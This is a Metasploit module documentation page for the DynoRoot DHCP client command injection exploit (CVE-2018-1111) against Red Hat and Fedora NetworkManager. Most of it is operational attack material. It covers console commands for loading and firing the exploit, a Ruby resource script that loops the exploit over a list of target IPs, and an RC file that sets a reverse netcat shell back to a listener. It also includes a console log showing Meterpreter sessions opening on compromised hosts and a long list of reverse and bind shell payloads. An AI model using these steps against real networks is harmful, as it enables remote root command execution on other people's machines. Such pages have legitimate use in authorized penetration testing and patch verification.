DHCP Client Command Injection (DynoRoot) - Metasploit
This page contains detailed information about how to use the exploit/unix/dhcp/rhel_dhcp_client_command_injection metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: DHCP Client Command Injection (DynoRoot)
Module: exploit/unix/dhcp/rhel_dhcp_client_command_injection
Source code: modules/exploits/unix/dhcp/rhel_dhcp_client_command_injection.rb
Disclosure date: 2018-05-15
Last modification time: 2021-01-29 17:59:14 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2018-1111
This module is also known as DynoRoot.
This module exploits the DynoRoot vulnerability, a flaw in how the NetworkManager integration script included in the DHCP client in Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier processes DHCP options. A malicious DHCP server, or an attacker on the local network able to spoof DHCP responses, could use this flaw to execute arbitrary commands with root privileges on systems using NetworkManager and configured to obtain network configuration using the DHCP protocol.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using rhel_dhcp_client_command_injection against a single host
Normally, you can use exploit/unix/dhcp/rhel_dhcp_client_command_injection this way:
msf > use exploit/unix/dhcp/rhel_dhcp_client_command_injection
msf exploit(rhel_dhcp_client_command_injection) > show targets
... a list of targets ...
msf exploit(rhel_dhcp_client_command_injection) > set TARGET target-id
msf exploit(rhel_dhcp_client_command_injection) > show options
... show and set options ...
msf exploit(rhel_dhcp_client_command_injection) > exploit
Using rhel_dhcp_client_command_injection against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your rhel_dhcp_client_command_injection will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/dhcp/rhel_dhcp_client_command_injection")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
SRVHOST: The IP of the DHCP server
NETMASK: The netmask of the local subnet
Knowledge Base
Verification Steps
- Setup CentOS virtual machine and Kali virtual machine
- Ensure proper versions are in use. This was tested on
CentOS Linux release 7.4.1708 (Core)
with NetworkManager version1.8.0-11.el7_4
- Create isolated custom network (e.g. 192.168.41.0/24)
- Disable DHCP server on custom network for easier verification
- Start
msfconsole
on Kali Linux use exploit/unix/dhcp/rhel_dhcp_client_command_injection
- Configure
SRVHOST
andNETMASK
required variables - Configure
PAYLOAD
and supporting options - Start the DHCP server
- On CentOS 7 machine, request a new DHCP address. Assuming primary interface is
ens33
, you can use:clear && nmcli conn down id "ens33" && nmcli conn up id "ens33" && ip addr show
- This should request a new DHCP from your server (if other DHCP servers exist, note that then this becomes a race condition often requiring DHCP NAK's to get your DHCP to win)
Validated using RC File:
use exploit/unix/dhcp/rhel_dhcp_client_command_injection
set SRVHOST 192.168.41.129
set NETMASK 255.255.255.0
set PAYLOAD cmd/unix/reverse_netcat
set LHOST 192.168.41.2
set LPORT 1337
exploit -j -z
Go back to menu.
Msfconsole Usage
Here is how the unix/dhcp/rhel_dhcp_client_command_injection exploit module looks in the msfconsole:
msf6 > use exploit/unix/dhcp/rhel_dhcp_client_command_injection
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/dhcp/rhel_dhcp_client_command_injection) > show info
Name: DHCP Client Command Injection (DynoRoot)
Module: exploit/unix/dhcp/rhel_dhcp_client_command_injection
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2018-05-15
Provided by:
Felix Wilhelm
Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>
Available targets:
Id Name
-- ----
0 Automatic Target
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BROADCAST no The broadcast address to send to
DHCPIPEND no The last IP to give out
DHCPIPSTART no The first IP to give out
DNSSERVER no The DNS server IP address
HOSTSTART no The optional host integer counter
NETMASK yes The netmask of the local subnet
ROUTER no The router IP address
SRVHOST yes The IP of the DHCP server
Payload information:
Description:
This module exploits the DynoRoot vulnerability, a flaw in how the
NetworkManager integration script included in the DHCP client in Red
Hat Enterprise Linux 6 and 7, Fedora 28, and earlier processes DHCP
options. A malicious DHCP server, or an attacker on the local
network able to spoof DHCP responses, could use this flaw to execute
arbitrary commands with root privileges on systems using
NetworkManager and configured to obtain network configuration using
the DHCP protocol.
References:
https://nvd.nist.gov/vuln/detail/CVE-2018-1111
https://www.exploit-db.com/exploits/44652
https://github.com/kkirsche/CVE-2018-1111
https://twitter.com/_fel1x/status/996388421273882626?lang=en
https://access.redhat.com/security/vulnerabilities/3442151
https://dynoroot.ninja/
https://nvd.nist.gov/vuln/detail/CVE-2018-1111
https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1111
Also known as:
DynoRoot
Module Options
This is a complete list of options available in the unix/dhcp/rhel_dhcp_client_command_injection exploit:
msf6 exploit(unix/dhcp/rhel_dhcp_client_command_injection) > show options
Module options (exploit/unix/dhcp/rhel_dhcp_client_command_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
BROADCAST no The broadcast address to send to
DHCPIPEND no The last IP to give out
DHCPIPSTART no The first IP to give out
DNSSERVER no The DNS server IP address
HOSTSTART no The optional host integer counter
NETMASK yes The netmask of the local subnet
ROUTER no The router IP address
SRVHOST yes The IP of the DHCP server
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
Advanced Options
Here is a complete list of advanced options supported by the unix/dhcp/rhel_dhcp_client_command_injection exploit:
msf6 exploit(unix/dhcp/rhel_dhcp_client_command_injection) > show advanced
Module advanced options (exploit/unix/dhcp/rhel_dhcp_client_command_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/dhcp/rhel_dhcp_client_command_injection module can exploit:
msf6 exploit(unix/dhcp/rhel_dhcp_client_command_injection) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Target
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/dhcp/rhel_dhcp_client_command_injection exploit:
msf6 exploit(unix/dhcp/rhel_dhcp_client_command_injection) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_inetd normal No Unix Command Shell, Bind TCP (inetd)
3 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
4 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
5 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
6 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
7 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
8 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
9 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
10 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
11 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
12 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
13 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
14 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
15 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
16 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
17 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
18 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
19 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
20 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
21 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
22 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
23 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
24 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
25 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
26 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
27 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
28 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
29 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
30 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
31 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
32 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
33 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
34 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
35 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
36 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
37 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
38 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
39 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
40 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
41 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
42 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
43 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
44 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
45 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
46 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
47 payload/generic/custom normal No Custom Payload
48 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
49 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the unix/dhcp/rhel_dhcp_client_command_injection exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/dhcp/rhel_dhcp_client_command_injection) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Related Pull Requests
- #14733 Merged Pull Request: Add latest Rubocop rules
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10570 Merged Pull Request: AKA Metadata Refactor
- #10059 Merged Pull Request: Add CVE-2018-1111 exploit
References
- CVE-2018-1111
- EDB-44652
- https://github.com/kkirsche/CVE-2018-1111
- https://twitter.com/_fel1x/status/996388421273882626?lang=en
- https://access.redhat.com/security/vulnerabilities/3442151
- https://dynoroot.ninja/
- https://nvd.nist.gov/vuln/detail/CVE-2018-1111
- https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1111
See Also
Check also the following modules related to this module:
- exploit/unix/dhcp/bash_environment
- auxiliary/dos/dhcp/isc_dhcpd_clientid
- auxiliary/server/dhcp
- exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc
- exploit/unix/http/pihole_dhcp_mac_exec
- auxiliary/client/hwbridge/connect
- auxiliary/client/iec104/iec104
- auxiliary/client/mms/send_mms
- auxiliary/client/sms/send_text
- auxiliary/client/smtp/emailer
- auxiliary/client/telegram/send_message
- exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
- exploit/unix/fileformat/metasploit_libnotify_cmd_injection
- exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
- exploit/unix/http/pfsense_graph_injection_exec
- exploit/unix/webapp/ajenti_auth_username_cmd_injection
- exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
- exploit/unix/webapp/opennetadmin_ping_cmd_injection
- exploit/multi/http/git_client_command_exec
- exploit/windows/browser/wellintech_kingscada_kxclientdownload
- exploit/windows/fileformat/bpftp_client_bps_bof
- exploit/windows/ftp/trellian_client_pasv
- exploit/windows/ftp/xftp_client_pwd
- exploit/windows/ftp/xlink_client
- exploit/windows/http/mdaemon_worldclient_form2raw
- exploit/windows/local/gog_galaxyclientservice_privesc
- exploit/windows/local/ms15_051_client_copy_image
- exploit/windows/local/novell_client_nicm
- exploit/windows/local/novell_client_nwfs
- exploit/windows/local/srclient_dll_hijacking
- exploit/windows/novell/groupwisemessenger_client
- exploit/windows/oracle/client_system_analyzer_upload
- exploit/windows/smtp/sysgauge_client_bof
- exploit/windows/vnc/realvnc_client
- exploit/windows/vnc/ultravnc_client
Related Nessus plugins:
- CentOS 7 : dhcp (CESA-2018:1453)
- CentOS 6 : dhcp (CESA-2018:1454)
- Fedora 27 : 12:dhcp (2018-36058ed9f2)
- Oracle Linux 7 : dhcp (ELSA-2018-1453)
- Oracle Linux 6 : dhcp (ELSA-2018-1454)
- OracleVM 3.3 / 3.4 : dhcp (OVMSA-2018-0042)
- RHEL 7 : dhcp (RHSA-2018:1453)
- RHEL 6 : dhcp (RHSA-2018:1454)
- RHEL 7 : dhcp (RHSA-2018:1455)
- RHEL 7 : dhcp (RHSA-2018:1456)
Authors
- Felix Wilhelm
- Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.